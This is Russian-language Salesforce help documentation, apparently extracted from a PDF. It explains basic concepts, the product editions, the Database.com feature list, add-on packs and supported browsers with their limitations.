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Добро пожаловать в документацию Salesforce

Настройка и безопасностьОбщие функции Salesforce

Мобильное приложение Salesforce1Аналитика

Отчеты и панели
мониторинга

Wave Analytics
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Настройка и обслуживание
инструментов продаж

Продажи клиентам

Сообщества и чатыService Cloud

Расширенное
сотрудничество

Настройка и обслуживание
инструментов
сотрудничества

Настройка и обслуживание
сообществ

Активация функцииРазработка

Общие ресурсы

• Примечания в выпуску (текущий выпуск)

• Полное руководство по использованию Salesforce
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https://developer.salesforce.com/page/Documentation
http://releasenotes.docs.salesforce.com
https://resources.docs.salesforce.com/200/latest/ru-ru/sfdc/pdf/sf.pdf


• Интерактивные учебные модули Trailhead

• Документация соответствия

2
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Основы Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Вас приветствует Salesforce, ультрасовременная служба облачной обработки данных,
предназначеннаядля управленияотношениямисклиентами, интеграциидругихсистем
иразработкисобственныхприложений! Вданномразделеописанынекоторыеосновные
понятия, позволяющие разобраться в продуктах и выпусках системы Salesforce, а также
рассматриваются пользовательские настройки. Кроме того, данная документация
содержит сведения о типовых задачах, доступных пользователям Salesforce (например,
использованиеосновныхфункций Chatter, запускотчетовипоиск сведенийилизаписей
в системе Salesforce).

Что такое Salesforce?

Salesforce помогает управлятьотношениямисклиентами, обеспечиваетинтеграциюсдругимисистемамиипозволяет
создавать собственные приложения.

Начало работы для нового пользователя
Система Salesforce используется впервые? Чтобы начать работу с приложением, настройте учетную запись нового
пользователя.

Персональная настройка
Используйте варианты настройки для персонализации своей работы в Salesforce. Настройте экран как вам нравится,
защитите свою информацию и дайте знать другим пользователям о себе.

Использование на мобильных устройствах
Несколько мобильных приложений компании Salesforce предоставляют клиентам удаленный доступ к рабочим
данным.

Управление взаимосвязями и данными посредством записей
Какправило, данныеSalesforceхранятсяввидеотдельных записейисистематизируютсяпосредствомобъектов. Например,
объект «Организация» объединяет все записи организаций. Запись организации Acme указывает, что компания Acme
является одной из организаций пользователя.

Обнаружение информации с помощьюфункции поиска
Функция поиска Salesforce дает возможность быстро находить информацию. Поиск доступен на сайте Salesforce, в
мобильном приложении Salesforce1 или в компоненте поиска, построенном на основе платформы Salesforce.

Запуск отчета
Чтобы запустить отчет, найдите нужный отчет на вкладке «Отчеты» ищелкните его имя. Отчеты запускаются
автоматически при выборе имени. Чтобы запустить или запланировать просматриваемый отчет, нажмите кнопку
«Запустить отчет». В Lightning Experience кнопка «Запустить отчет» отображается только после сохранения отчета.

Доступ к элементам пользовательского интерфейса, записям и полям
Защитакорпоративныхданныхвыполняетсяразнымикомпонентами, которыемогутбытьнастроеныадминистратором.
Версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяютопределять
уровень доступа других пользователей к собственным данным путем предоставления коллегам индивидуального
доступа к записям.
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Что такое Salesforce?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные функции
определяютсяиспользуемой
версией Salesforce.

Salesforce помогает управлять отношениями с клиентами, обеспечивает интеграцию с
другими системами и позволяет создавать собственные приложения.

Ниже перечислены продукты и услуги, поддерживаемые системой Salesforce.

Приложения Salesforce
Система Salesforceподдерживает готовыеприложенияпоуправлениюотношениями
с клиентами — от автоматизации процессов продаж до управления отношениями
с партнерами, маркетинга и обслуживания клиентов.

Платформа Force.com
Платформа Force.com — это первая платформа как услуга, позволяющая
разработчикам создавать и распространять любые бизнес-приложенияпо запросу и без программного обеспечения.
Крометого, платформаподдерживаетудобныеинтерактивныеинструментынастройки, предназначенныедлясоздания
уникальных бизнес-решений без применения программных средств.

AppExchange
AppExchange — это каталог, содержащий сотни облачных приложений, созданных клиентами, разработчиками и
партнерами Salesforce. Какправило, данныеприложениябесплатныиподдерживаются системой Salesforce, благодаря
чему пользователи могут быстро и эффективно расширять набор нужных функций.

Сообщество salesforce.com
КомпанияSalesforce заботитсяобуспехесвоихклиентов, предоставляяимвозможностьобучения, полученияподдержки,
обращения за консультационными услугами, просмотра рекомендаций и участия в различных мероприятиях или
дискуссионных клубах. Посетите сообщество salesforce.com.

Основные понятия и термины
Чтобы повысить эффективность использования системы Salesforce, рекомендуем просмотреть основные понятия и
термины. Ониширокоиспользуются внашихпродуктахидокументации, а также специалистамислужбыподдержки.
Понятия, рассмотренные в данном разделе, позволяют получить более полное представление о работе системы
Salesforce. А термины позволяют разобраться в некоторых основных компонентах.

Версии Salesforce

Компания Salesforce предлагает пользователям разные пакеты продуктов и услуг, предназначенные для решения
отдельного набора бизнес-задач.

Поддерживаемые обозреватели
Список поддерживаемых обозревателей для Salesforce зависит от того, что вы используете — Salesforce Classic или
Lightning Experience.

Полезные советы и руководства по внедрению
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Основные понятия и термины

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Чтобы повысить эффективность использования системы Salesforce, рекомендуем
просмотреть основные понятия и термины. Онишироко используются в наших
продуктах и документации, а также специалистами службы поддержки. Понятия,
рассмотренные в данном разделе, позволяют получить более полное представление о
работе системы Salesforce. А термины позволяют разобраться в некоторых основных
компонентах.

Понятия

ОпределениеПонятие

Имя, используемое компанией Salesforce для обозначения свободного набора функций,
позволяющих выполнять действия определенного типа (например, продажа продуктов,

Облако

поддержка клиентов или сотрудничество с коллегами). Самые распространенные примеры:
Service Cloud и Sales Cloud.

Технология, включающая веб-службы, которые поддерживают регистрацию и вход
посредством обозревателя. Система Salesforce предоставляет облачные услуги. Google Apps и
Amazon.com — это примеры других известных служб облачной обработки данных.

Облачная обработка
данных

Программное обеспечение, доступное в облаке (вместо традиционных средств, например,
на диске). Программное обеспечение не требует загрузки и установки, а обновления
применяются автоматически.

Программное
обеспечение как услуга
(SaaS)

Термин, используемый компанией Salesforce для обозначения обязательств по разработке и
доставке самого надежного, быстрого и безопасного облачного решения.

Веб-сайт trust.salesforce.com, созданныйдлядостиженияуспеха клиентов, позволяет
просматривать статусы системы, а также предоставляет клиентам и сообществу Salesforce

Доверие

доступк текущимиархивнымданнымопроизводительностисистемы, обновлениям, отчетам
по инцидентам и расписаниям обслуживания всех основных компонентов системы.

Веб-узел trust.salesforce.com доступен всем участникам сообщества Salesforce
абсолютно бесплатно.

Термины

ОпределениеТермин

Приложение — этосовокупностькомпонентов (например, вкладки, отчеты, панелимониторинга
и страницы Visualforce), предназначенная для решения конкретной бизнес-задачи. Система

Приложение

Salesforceподдерживает стандартныеприложения, доступныедлянастройки (например, Sales
и Call Center). При необходимости стандартные приложения могут быть настроены в
соответствии с текущими бизнес-требованиями.

Пакет продуктов и услуг Salesforce, предназначенный для решения отдельного набора
бизнес-задач. Все версии Salesforce оформлены в едином стиле, но отличаются доступными
функциями и компонентами, а также ценой.

Версия
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ОпределениеТермин

Определение отдельного типа информации, доступного для хранения в системе Salesforce.
Например, объект «Обращение» позволяетхранитьсведенияозапросахклиентов. Длякаждого
объекта может быть создано большое количество записей.

Система Salesforce поддерживает множество стандартных объектов и позволяет создавать
настраиваемые объекты.

Объект

Развертывание Salesforce, содержащее заданный набор лицензированных пользователей.
Организация пользователя содержит все соответствующие данные и приложения.

Организация

Совокупность полей, хранящих информацию об отдельном элементе конкретного типа,
называемогообъектом (например, контакт, организацияиливозможность). Например, запись

Запись

контактаможетхранитьинформациюобАлексееИванове, а записьобращенияможетхранить
информацию о его запросе на обучение.

Система Salesforce обновляется три раза в год; каждый выпуск обозначается временем года
(Winter, Spring или Summer) и текущим календарным годом. Пример: «Winter'15».

Примечания к выпуску Salesforce, обновляемые перед каждым выпуском Salesforce, содержат
сведения о новых доступных функциях и продуктах, а также все изменения, внесенные в

Выпуск

текущиефункции и продукты. Чтобыпросмотреть примечания к выпуску, выполните поиск
по запросу «Примечания к выпуску» в интерактивной справке Salesforce.

Имя CRM-службы облачной обработки данных Salesforce.Salesforce

Название компании.Salesforce

Версии Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные функции
определяютсяиспользуемой
версией Salesforce.

Компания Salesforce предлагает пользователям разные пакеты продуктов и услуг,
предназначенные для решения отдельного набора бизнес-задач.

Все данные пакеты, называемые версиями, оформлены в едином стиле, но отличаются
доступнымифункциямиикомпонентами, а такжеценой. Например, функция, доступная
в версии Professional Edition за дополнительную плату, может быть доступна в версии
Enterprise Edition по умолчанию. Рекомендуем сначала выбрать одну из базовых версий,
которая по мере расширения бизнеса может быть заменена более полной версией.

Сравнительнуютаблицуверсийиихфункцийсм. настранице «ЦеныиверсииSalesforce».

Прим.: Справка Salesforce описывает все общедоступные функции, включая
функции, доступные только некоторым версиям. Чтобы определить доступность
функции в используемой версии, найдите нужнуюфункцию в справке и
просмотрите таблицу «Доступно в версиях:», расположенную вверху любого
связанного раздела.

Contact Manager Edition

Group Edition

Developer Edition
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Personal Edition

Professional Edition

Enterprise Edition

Unlimited Edition

Performance Edition

Версия Performance Edition — это решение от компании Salesforce, которое поддерживаетфункции CRM и платформы
Force.com, а также Data.com, Work.com, Identity, Live Agent, Salesforce Knowledge и дополнительныефункции безопасной
среды.

Database.com Edition

Expansion Pack и Unlimited Apps Pack

СМ. ТАКЖЕ:

Сравнение мобильных продуктов Salesforce

Contact Manager Edition
Версия Contact Manager предназначена для малого бизнеса и предоставляет доступ к ключевымфункциям управления
контактами, включая организации, контакты, действия, календари, примечания, вложения и отчеты. Кроме того, версия
Contact Manager отличается простотой и удобством настройки. Дополнительную информацию офункциях Contact
Manager см. на странице «Цены и версии Salesforce».

Прим.: Приложение Lightning Experience недоступно в версии Contact Manager Edition.

СМ. ТАКЖЕ:

Версии Salesforce

Group Edition
ВерсияGroup Edition системы Salesforceпредназначена длямалого бизнеса и рабочих групп с ограниченнымколичеством
пользователей. Версия Group Edition позволяет пользователям управлять своими клиентами на протяжении всего цикла
продаж, предоставляя им необходимую поддержку и обслуживание. Версия Group Edition предоставляет доступ к
организациям, контактам, возможностям, интересам, обращениям, панелям мониторинга (только для чтения) и отчетам.
Дополнительную информацию офункциях Group Edition см. на странице «Цены и версии Salesforce».

СМ. ТАКЖЕ:

Версии Salesforce

Developer Edition
Версия Developer Edition предоставляет доступ к платформе Force.com и интерфейсу API. Данная версия позволяет
разработчикам расширять систему Salesforce, интегрировать другие приложения и разрабатывать новые инструменты
илиприложения. Версия Developer Edition предоставляет доступкомногимфункциям, поддерживаемымверсией Enterprise
Edition.
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Компания Salesforce не предоставляет техническую поддержку для версии Developer Edition. Чтобы получить помощь,
воспользуйтесь форумами сообщества разработчиков, доступными зарегистрированным пользователям на веб-сайте
для разработчиков Force.com (developer.salesforce.com). Документация для версии Developer Edition доступна в технической
библиотеке.

СМ. ТАКЖЕ:

Версии Salesforce

Personal Edition

Прим.: Версия Personal Edition недоступна новым организациям. Подписка может быть продлена только текущими
организациями, использующимиверсию Personal Edition. Крометого, организации Personal Edition, зарегистрированные
после июня 2009 года, теряют доступ к возможностям.

Версия Personal Edition — это CRM-решение, предназначенное для индивидуальных торговых представителейили других
отдельных пользователей. Версия Personal Edition предоставляет доступ к ключевымфункциям управления контактами,
включаяорганизации, контактыисинхронизациюсприложением Microsoft Outlook®. Крометого, торговымпредставителям
предоставляется доступ к таким инструментам продаж, как возможности.

Прим.: Lightning Experience недоступен в версии Personal Edition.

СМ. ТАКЖЕ:

Версии Salesforce

Professional Edition
Версия Professional Edition системы Salesforce предназначена для компаний, которым требуется доступ ко всем функциям
CRM. Версия Professional Edition отличается простотой и удобством настройки, интеграции и администрирования,
необходимымидлябыстрогоразвертываниямалыхисреднихпредприятий. Дополнительнуюинформациюофункциях
Professional Edition см. на странице «Цены и версии Salesforce».

СМ. ТАКЖЕ:

Версии Salesforce

Expansion Pack и Unlimited Apps Pack

Enterprise Edition
Версия Enterprise Edition системы Salesforceпредназначена для использованияна крупныхпредприятиях. Версия Enterprise
Edition поддерживает всефункции, доступныев версии Professional Edition, а такжепредоставляет доступк дополнительным
инструментамнастройкииадминистрирования, которыемогутиспользоватьсяприразвертываниикрупныхпредприятий.
Кроме того, версия Enterprise Edition предоставляет доступ к интерфейсу Web Services API, обеспечивающему
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беспрепятственную интеграцию с системами обработки документации. Дополнительную информацию офункциях
Enterprise Edition см. на странице «Цены и версии Salesforce».

СМ. ТАКЖЕ:

Версии Salesforce

Expansion Pack и Unlimited Apps Pack

Unlimited Edition
Версия Unlimited Edition системы Salesforce — этоведущеерешениеоткомпанииSalesforce, позволяющеедостигать успеха,
который затем может быть применен ко всему предприятию посредством платформы Force.com.Постоянно растущая
универсальность платформы гарантирует клиентам Unlimited Edition возможность управления всеми данными и их
совместного использования по запросу.

Версия Unlimited Edition поддерживает все функции Enterprise Edition, а также предоставляет премьер-поддержку, полный
мобильный доступ, неограниченное количество настраиваемых приложений, дополнительный объем хранилища и
многое другое. Дополнительную информацию офункциях Unlimited Edition см. на странице «Цены и версии Salesforce».

СМ. ТАКЖЕ:

Версии Salesforce

Performance Edition
Версия Performance Edition — это решение от компании Salesforce, которое поддерживает функции CRM и платформы
Force.com, а также Data.com, Work.com, Identity, Live Agent, Salesforce Knowledge и дополнительные функции безопасной
среды.

Версия Performance Edition предназначена для организаций, ожидающих колоссального роста и повышения степени
удовлетворенияклиентов, атакжестремящихсякуспешнымпродажамикачественномуобслуживанию — каквсоциальных,
так и в мобильных сетях. Версия Performance Edition поддерживает все функции Unlimited Edition, а также возможность
просмотра очищенных данных об интересах и клиентах из Data.com, доступ к средствам обучения и отправки отзывов
изWork.com, проверенные службыидентификациииз Identityимногое другое. КлиентыизЯпонии, СингапураиЮжной
Кореимогут выбрать версиюPerformance Edition Limited, поддерживающуювсефункцииверсииPerformance Edition, кроме
Data.com. Дополнительную информацию офункциях Performance Edition см. на странице «Цены и версии Salesforce».

СМ. ТАКЖЕ:

Версии Salesforce

Database.com Edition
Database.com — это многопользовательская облачная служба базы данных, предназначенная для хранения данных,
используемых приложениями для мобильных устройств и социальных сетей. Database.com может использоваться в
качестве серверной базы данных для любых приложений, независимо от исходного языка, платформы или мобильного
устройства. Встроенная инфраструктура социальной компьютеризации Database.com совместно с возможностью
разработки современных интерфейсов API на основе REST позволяют самостоятельно создавать удобные приложения
для мобильных устройств и социальных сетей.

9

Версии SalesforceОсновы Salesforce

http://www.salesforce.com/crm/editions-pricing.jsp
http://www.salesforce.com/crm/editions-pricing.jsp
http://www.salesforce.com/crm/editions-pricing.jsp


Служба Database.com уже доступна пользователям Salesforce при выполнении некоторых действий (например, создание
настраиваемых объектов, управление параметрами безопасности или импорт данных с помощьюплатформы Force.com
и интерфейса API).

АвтономнаяверсияDatabase.comдоступнаразработчикам, которыезанимаютсясозданиемприложений, поддерживающих
другие языки, платформы и устройства.

СлужбаDatabase.comдоступнапользователямбез специализированнойдокументации. Взамен, рекомендуемиспользовать
документацию Salesforce и список функций, поддерживаемых службой Database.com. Данный список определяет темы
документации Salesforce, применяемые к Database.com. Кроме того, таблица версий каждой функции, поддерживаемой
службой Database.com, отображает версию Database.com Edition. Воспользуйтесь интерактивной справкой Salesforce,
примечаниями к выпуску, рабочими тетрадями и руководствами разработчика для интерфейсов API, Apex, SOQL и SOSL.

Прим.: Приложение Lightning Experience недоступно в версии Database.com Edition.

Список функций Database.com

СписокфункцийSalesforce такжеподдерживаетсякомпонентомDatabase.com. Всочетаниистаблицамиверсий, данный
список может использоваться для поиска разделов справки Salesforce, которые также применяются к компоненту
Database.com.

СМ. ТАКЖЕ:

Версии Salesforce

Список функций Database.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Database.com Edition.

СписокфункцийSalesforceтакжеподдерживаетсякомпонентомDatabase.com. Всочетании
с таблицамиверсий, данныйсписокможетиспользоваться дляпоискаразделов справки
Salesforce, которые также применяются к компоненту Database.com.

Функции Salesforce, перечисленные ниже, также поддерживаются компонентом
Database.com. Функциисистематизируютсяпоосновнойобластипродуктов. Некоторые
функции доступны только посредством интерфейса API. Данные функции имеют
соответствующее обозначение.

Администрирование

• Контрольный журнал

• Сведения о компании

• Делегированный администратор/Войти как

• Расширенное управление профилем

• Безопасность поля

• Журнал входов

• Пакетные переносы

• Новый пользовательский интерфейс профиля

• Наборы полномочий

• Профили

Apex (Библиотеки доступны только для функций, поддерживаемых компонентом Database.com.)

API
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• API-клиенты

• Bulk API

• Data Loader

• Metadata API

• Chatter REST API

• Репликация данных Web Services API

• Операции чтения Web Services API

• Операции записи Web Services API

Управлениежизненным циклом приложений

• Наборы изменений

Chatter

• Возможность прекращения отслеживания записей, принадлежащих пользователю в Chatter

• Упоминания (только API)

• Активность и влияние Chatter

• Настройка параметров Chatter

• Отслеживание ленты

• Ленты

• Файлы (только API)

• Макеты группы

• Триггеры группы/Триггеры участника группы

• Группы

• Хэштеги/Темы

• Быстрые действия

• Предварительные просмотры обогащенных ссылок в ленте

• Триггеры для комментариев ленты и элементов ленты

Содержимое

Настраиваемые параметры

Клиентские домены

Данные

• Возможность пакетного переноса записей настраиваемых объектов

• Data Loader

Конструктор декларативных приложений и настраиваемая схема

Настраиваемые объекты и поля

• Force.com

• Поля формулы

• Область обогащенного текста

• Поля сводного резюмирования

• Правила проверки

Инструменты разработчика
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• Force.com IDE

Подразделения

Расширенный пользовательский интерфейс профиля

• Включение

• Безопасность поля

• Полномочия поля/объекта

• Параметры объекта/вкладки (только объекты)

• Поиск

• Полномочия системы

• Просмотр и редактирование полномочий приложения

• Просмотр и редактирование времени входа

• Просмотр и редактирование диапазонов IP-адресов входа

• Просмотр и редактирование доступа к поставщику услуг

• Просмотр списков профиля

Доступность поля (для настраиваемых объектов)

Матрица зависимости полей

Fileforce

Локализация и глобализация

• Мультивалюта

• Часовые пояса

Мои личные сведения

• Изменить мой пароль

• Редактирование личных сведений

• Предоставление полномочий входа (кнопка «Отправить ссылку активации»)

Автономный режим

• Настольные приложения Force.com Flex

• Веб-приложения Force.com Flex

Наборы полномочий

• Возможность поиска полномочий

• Просмотр, редактирование и создание

Списковые представления профиля

• Создание

• Редактирование

Ограничение входов

• Время и диапазоны IP-адресов по профилям

Безопасная среда

• Developer Sandbox (за дополнительную плату)

• Full Copy Sandbox (за дополнительную плату)
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• Setup Only Sandbox (за дополнительную плату)

Поиск

• Личные теги

• Общедоступные теги

Безопасность

• Связанные приложения (OAuth)

• Зашифрованные настраиваемые поля

• Общая безопасность

• Функция удостоверения

• Входящая единая регистрация

• Политики паролей и входа

• Восстановление паролей

Единая регистрация

Общий доступ

• Управляемый общий доступ к Apex

• Правила общего доступа на основе критериев

• Пользователь массового портала

• Правила общего доступа на основе ответственности

• Общедоступные группы

• Очереди

• Иерархия ролей

• Модель общего доступа/Общий доступ, установленный вручную

Темы

• Триггеры темы и назначения темы

Настройки пользователя

• Создание и редактирование персональных и общедоступных групп

• Отправить ссылку активации

Пользователи

• Аннулирование паролей

• Управление пользователями

• Управление ролями

• Отслеживание пользовательских событий (входы и обучение)

• Восстановление паролей

• Поля ролей

• Страница со списком ролей

• Настройка истечения срока действия пароля

• Настройка ограничений входа

Просмотр связанного списка «Общедоступная группа»
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Еженедельный экспорт

Бизнес-правила

• Исходящие сообщения (как немедленные и зависимые от времени действия)

• Контролируемые по времени бизнес-правила (очередь бизнес-правил)

• Обновления полей бизнес-правила/Исходящие сообщения

• Бизнес-правила

Expansion Pack и Unlimited Apps Pack

Expansion Pack для версии Professional Edition

Версия Professional Edition позволяет приобретать компоненты Expansion Pack для увеличения ограничений, заданных для
приложений, вкладок и объектов. Каждый компонент Expansion Pack соответствует лицензии пользователя организации.

Unlimited Apps Pack для версии Enterprise Edition

Версия Enterprise Edition позволяет приобретать компоненты Unlimited Apps Pack для увеличения ограничений, заданных
дляприложений, вкладокиобъектов, а такжемаксимальногоколичества вызовов API иобъемахранилищаданных. Каждый
компонент Unlimited Apps Pack соответствует лицензии пользователя организации.

Добавление компонентов
Компоненты Expansion Pack и Unlimited Apps Pack доступны только пользователям Sales Cloud, Service Cloud, Force.com и
Site.com Only. Expansion Pack или Unlimited Apps Pack может использоваться для обновления организации только один раз.
Если ограничения, предоставляемые пакетом, являются недостаточными, рекомендуем обновить версию организации.
Чтобы добавить компонент Expansion Pack или Unlimited Apps Pack, обратитесь к представителю Salesforce.

СМ. ТАКЖЕ:

Увеличение ограничений для приложений посредством Expansion Pack и Unlimited Apps Pack

Поддерживаемые обозреватели
Списокподдерживаемыхобозревателейдля Salesforce зависитот того, что выиспользуете — Salesforce Classicили Lightning
Experience.

Поддерживаемые обозреватели для Salesforce Classic

Salesforce Classic поддерживается браузерамиMicrosoft® Internet Explorer® версий 9, 10 и 11, Apple® Safari® версий 5.x, 6.x и
7.x с операционной системой Mac OS Xи Microsoft® Edge for Windows® 10, а также большинствомпоследних стабильных
версий браузеров Mozilla® Firefox® и Google Chrome™. Существуют некоторые ограничения.

Поддерживаемые обозреватели для Lightning Experience

Lightning Experience поддерживается в Microsoft® Internet Explorer® 11, Apple® Safari® версии 8.x в Mac OS X, и в Microsoft®

Edge для Windows® 10. а также в последних стабильных версиях Mozilla® Firefox® и Google Chrome™. Если вы используете
Microsoft® Internet Explorer® 7–10, то перенаправляетесь к Salesforce Classic. Существуют некоторые ограничения.
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Загрузка модулей для просмотра документации и курсов интерактивного обучения
Рекомендуем загрузить модули, необходимые для просмотра PDF-документации и курсов интерактивного обучения
Salesforce.

Общие сведения о клавишах быстрого доступа
Клавиши быстрого доступа позволяют повысить эффективность использования системы Salesforce.

Клавиши быстрого доступа к окнам компоновщика Lightning Experience

Используйте клавиши быстрого доступа для эффективной работы с окнами компоновщика Lightning Experience.
Откройте окно компоновщика для создания задач, примечаний, журнала вызовов и многого другого. Клавиши
быстрогодоступа упрощаютциклическиепереходымеждуполямивкомпоновщикеисоздаютсобственныйпринцип
работы с многочисленными окнами компоновщика, открытыми одновременно.

Настройка обозревателя Internet Explorer

Рекомендуем использовать последнюю версию обозревателя Internet Explorer, поддерживаемую системой Salesforce.
Кроме того, рекомендуем установить все обновления программного обеспечения Microsoft.

Настройка обозревателя Firefox

Чтобыгарантироватьоптимальнуюработу системы Salesforce вобозревателе Firefox, рекомендуемнастроитьнекоторые
параметры обозревателя.

Поддерживаемые обозреватели для Salesforce Classic

ВЕРСИИ

Salesforce Classic доступно
в версиях: все версии.

Salesforce Classic поддерживается браузерамиMicrosoft® Internet Explorer® версий 9, 10 и 11,
Apple® Safari® версий 5.x, 6.x и 7.x с операционной системой Mac OS X и Microsoft® Edge for
Windows® 10, а также большинством последних стабильных версий браузеров Mozilla®

Firefox® и Google Chrome™. Существуют некоторые ограничения.

Прим.: Salesforce Classic не поддерживает обозреватели Microsoft® Internet Explorer®

7 и 8 с лета 2015 г.

Использование Salesforce Classic вмобильномобозревателенеподдерживается. Чтобыпродолжитьработунамобильном
устройстве, рекомендуемиспользоватьприложениеSalesforce1. Дополнительнуюинформациюомобильныхобозревателях,
поддерживаемыхприложениемSalesforce1, см. вразделе «ТребованиядлямобильногоприложенияSalesforce1»настранице
100.

Microsoft Edge
Salesforceподдерживает Microsoft Edge в Windows 10 для Salesforce Classic. Обратитевниманиена следующиеограничения.

• Хотя Microsoft Edge поддерживается на настольныхПК, Salesforce пока не поддерживает Microsoft Edge в Salesforce1
для ОС Windows Phone.

• Редактор решений HTML в Microsoft Edge не поддерживается в базе знаний Salesforce.

• Обозреватель Microsoft Edge не поддерживает консоль разработчика.

• Обозреватель Microsoft Edge не поддерживает приложение Salesforce CRM Call Center, разработанное посредством
инструментария CTI Toolkit 4.0 или более поздней версии.

Microsoft Internet Explorer 9, 10 и 11
Рекомендуем использовать последнюю версию обозревателя Internet Explorer, поддерживаемую системой Salesforce.
Кроме того, рекомендуем установить все обновления программного обеспечения Microsoft.Ниже перечислены
возможные ограничения.

• Полный веб-сайт Salesforce поддерживается в браузерах Internet Explorer 9, 10 и 11 в Windows 8 и 8.1 только для
ноутбуков с сенсорным экраном со стандартной клавиатурой и мышью. Мобильные устройства или планшеты с
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сенсорным экраном не поддерживаются. Вместо этого рекомендуем использовать мобильное веб-приложение
Salesforce1.

• Компонент Salesforce Knowledge не поддерживает редактор HTML-решений в обозревателе Internet Explorer 11.

• Обозреватель Internet Explorer не поддерживает функцию просмотра совместимости.

• Изменение режима синтаксического анализа обозревателя, например, путем изменения заголовка
X-UA-Compatibility, не поддерживается.

• Версия Metro обозревателя Internet Explorer 10 не поддерживается.

• Обозреватель Internet Explorer 11 не поддерживает консоль разработчика.

• Обозреватель Internet Explorer 11 неподдерживаетприложениеSalesforce CRM Call Center, разработанноепосредством
инструментария CTI Toolkit 4.0 или более поздней версии.

• Шаблонысообществадля самообслуживанияподдерживаютсяобозревателем Internet Explorer 9 илиболеепоздней
версии (при использовании настольного приложения) и обозревателем Internet Explorer 11 или более поздней
версии (при использовании мобильного приложения).

• Обозреватель Internet Explorer 9 не поддерживается для Salesforce Wave Analytics.

• Обозреватели Internet Explorer 9 и 10 не поддерживаются для конструктора приложений Lightning.

Рекомендации по настройке см. в разделе «Настройка обозревателя Internet Explorer» на странице 20.

Mozilla Firefox, последняя стабильная версия
Компания Salesforceотслеживает выпускиновых версийобозревателя Firefox иприлагает все усилия дляихподдержки.

• Обозреватель Mozilla Firefox поддерживаетшаблонысообществадля самообслуживаниятолькоприиспользовании
настольного приложения.

Рекомендации по настройке см. в разделе «Настройка обозревателя Firefox» на странице 21.

Google Chrome, последняя стабильная версия
Chrome применяетобновленияавтоматически. КомпанияSalesforceприлагаетвсе усилиядлятестированияиподдержки
последней версии. Для работы в обозревателе Google Chrome не требуются дополнительные настройки.

Google Chrome не поддерживается указанными ниже компонентами.

• Вкладка «Консоль» (Консоль Salesforce не поддерживается.)

Apple Safari 5.x, 6.x и 7.x для Mac OS X
Для работы в обозревателе Safari не требуются дополнительные настройки. Полная версия системы Salesforce не
поддерживается обозревателем Apple Safari для ОС iOS.

Safari не поддерживает указанные ниже компоненты.

• Консоль Salesforce

• Приложение Salesforce CRM Call Center, разработанное посредством инструментария CTI Toolkit до версии 4.0

• Salesforce Wave Analytics

Поддерживаемые обозреватели для Wave Analytics

Поддерживаются браузер Microsoft Internet Explorer версий 10 и 11 и последние стабильные версии Mozilla Firefox и Google
Chrome.

Рекомендации и требования для всех обозревателей
• Независимо от используемого обозревателя рекомендуем включить JavaScript, файлы cookie и TLS 1,2. Если TLS 1.2

недоступен, используйте TLS 1.1. Обозреватели, которые не поддерживают TLS 1.1 или TLS 1.2, не смогут получить
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доступ к Salesforceпосле того, какрежим TLS 1.0 будетотключен. Такоеотключение запланированонапервыйивторой
квартал 2016 года.

• Поддержка всехфункций Salesforce гарантируется только при использовании разрешения экрана не менее 1 024 x 768
пикселей.При меньшем разрешении экрана некоторые функции Salesforce (например, конструктор отчетов или
редактор макетов страниц) могут отображаться неверно.

• При использовании обозревателя Apple Safari или Google Chrome с операционной системой Mac OS убедитесь, что
параметру системы «Показывать полосы прокрутки» задано значение <b>«Всегда»</b>.

• Некоторыесторонниемодулиирасширениявеб-обозревателямогутпрепятствоватьнормальнойработеChatter. При
возникновении ошибок или несогласованного поведения Chatter рекомендуем отключить все модули и расширения
веб-обозревателя и повторить попытку.

Некоторые функции Salesforce, так же как некоторые настольные клиентские приложения, инструментарии и адаптеры,
отличаются наличием собственных требований к используемому обозревателю.Например:

• Internet Explorer — это единственный поддерживаемый обозреватель для:

– работы со стандартными письмами;

– установки приложения Salesforce Classic Mobile на мобильные устройства с ОС Windows Mobile

– Connect Offline

• Длядостижениянаилучшихрезультатовприиспользованииредакторамакета страницыследуетиспользовать Firefox.

• Длядостиженияоптимальныхпоказателейнакомпьютерахс 8 ГбОЗУприиспользованииконсоли Salesforce следует
использовать Chrome.

• Требования к используемому обозревателю также применяются к пакетной отправке файлов в Chatter.

Поддерживаемые обозреватели для Lightning Experience

ВЕРСИИ

Lightning Experience
доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Lightning Experience поддерживается в Microsoft® Internet Explorer® 11, Apple® Safari® версии
8.x в Mac OS X, ив Microsoft® Edge для Windows® 10. а также впоследнихстабильныхверсиях
Mozilla® Firefox® и Google Chrome™. Если вы используете Microsoft® Internet Explorer® 7–10,
то перенаправляетесь к Salesforce Classic. Существуют некоторые ограничения.

Вмобильномобозревателенет доступа к Lightning Experience. Чтобыпродолжитьработу
на мобильном устройстве, рекомендуем использовать приложение Salesforce1. Список
поддерживаемых мобильных обозревателей для Salesforce1 см. в разделе «Требования
для мобильного приложения Salesforce1» на странице 100.

Microsoft Edge
Salesforceподдерживает Microsoft Edge в Windows 10 для Lightning Experience. Обратите
внимание на следующие ограничения.

• Хотя Microsoft Edge поддерживается на настольныхПК, Salesforce пока не поддерживает Microsoft Edge в Salesforce1
для ОС Windows Phone.

• Редактор решений HTML в Microsoft Edge не поддерживается в базе знаний Salesforce.

• Обозреватель Microsoft Edge не поддерживает консоль разработчика.

• Обозреватель Microsoft Edge не поддерживает приложение Salesforce CRM Call Center, разработанное посредством
инструментария CTI Toolkit 4.0 или более поздней версии.
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Microsoft Internet Explorer 11
Рекомендуем использовать последнюю версию обозревателя Internet Explorer, поддерживаемую системой Salesforce.
Кроме того, рекомендуем установить все обновления программного обеспечения Microsoft.Ниже перечислены
возможные ограничения.

• Полный веб-сайт Salesforce поддерживается в браузере Internet Explorer 11 в Windows 8 и 8.1 только для ноутбуков с
сенсорным экраном со стандартной клавиатурой и мышью. Мобильные устройства или планшеты с сенсорным
экраном не поддерживаются. Вместо этого рекомендуем использовать мобильное веб-приложение Salesforce1.

• Компонент Salesforce Knowledge не поддерживает редактор HTML-решений в обозревателе Internet Explorer 11.

• Обозреватель Internet Explorer не поддерживает функцию просмотра совместимости.

• Изменение режима синтаксического анализа обозревателя, например, путем изменения заголовка
X-UA-Compatibility, не поддерживается.

